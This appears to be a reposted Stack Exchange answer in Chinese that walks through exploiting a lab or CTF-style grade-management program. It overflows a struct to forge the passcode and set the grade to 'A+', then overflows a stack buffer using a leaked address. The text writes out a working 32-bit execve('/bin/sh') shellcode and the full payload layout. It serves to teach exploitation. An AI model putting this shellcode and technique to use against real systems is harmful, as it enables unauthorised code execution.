尝试grade缓冲区溢出遇阻:如何修改成绩为A+并获取Shell?
成绩管理程序漏洞利用方案
目标
将自己的成绩改为'A+',并通过缓冲区溢出获取Shell权限。
漏洞分析
1. 可控制passcode的缓冲区溢出(用于绕过A+验证)
查看Student结构体内存布局:
typedef struct Student_ { char name[40]; // 低地址区域 char passcode[4]; int student_number; char grade[4]; // 高地址区域 } Student;
input函数中读取name的代码为:
read(0, student->name, 40);
read函数会严格读取指定字节数,不会自动添加字符串终止符。因此输入44字节内容时,前40字节填充name数组,后4字节会直接覆盖结构体后续的passcode成员,让我们可以完全控制student->passcode的值。
2. 可泄露栈地址的缓冲区溢出(用于获取Shell)
graduate_school_application函数仅在成绩为'A+'时触发,其中存在致命漏洞:
read(0, student->name, 100); printf("%p\n", &student->name);
name仅分配40字节,但read读取100字节,存在严重缓冲区溢出,可覆盖栈上的函数返回地址- 函数主动打印
student->name的栈地址,直接泄露了栈基址,可精准计算返回地址的偏移量
漏洞利用步骤
步骤1:篡改成绩为'A+'
- 选择菜单选项
1进入input流程 - 输入任意学号(如
1234) - 输入
name时,发送:'A'*40 + '1234'(前40字节填充name,后4字节将student->passcode设置为1234) - 输入
grade时,发送A+(触发passcode验证流程) - 当要求输入passcode时,发送
1234,此时strncmp验证通过,成绩保留为'A+'
步骤2:缓冲区溢出获取Shell
- 选择菜单选项
3进入graduate_school_application流程 - 记录程序打印的
&student->name地址(如0xffffd000,这是我们要跳转的Shellcode起始地址) - 构造溢出payload:
- 前23字节:32位
execve("/bin/sh")的Shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 - 后续17字节:填充字符(如
\x90空指令),填满40字节的name区域 - 接下来20字节:填充字符,覆盖
passcode、student_number、grade、变量i以及EBP区域 - 最后4字节:之前记录的
&student->name地址(作为返回地址,跳转到Shellcode执行)
- 前23字节:32位
- 发送构造好的payload,程序将执行Shellcode,获取交互式Shell
注意事项
- 若为64位环境,需调整Shellcode和偏移量计算逻辑
- 填充字符可选择任意无干扰的字节(如
\x90),避免破坏栈结构
内容的提问来源于stack exchange,提问作者vivian phung
相关产品推荐
相关产品推荐

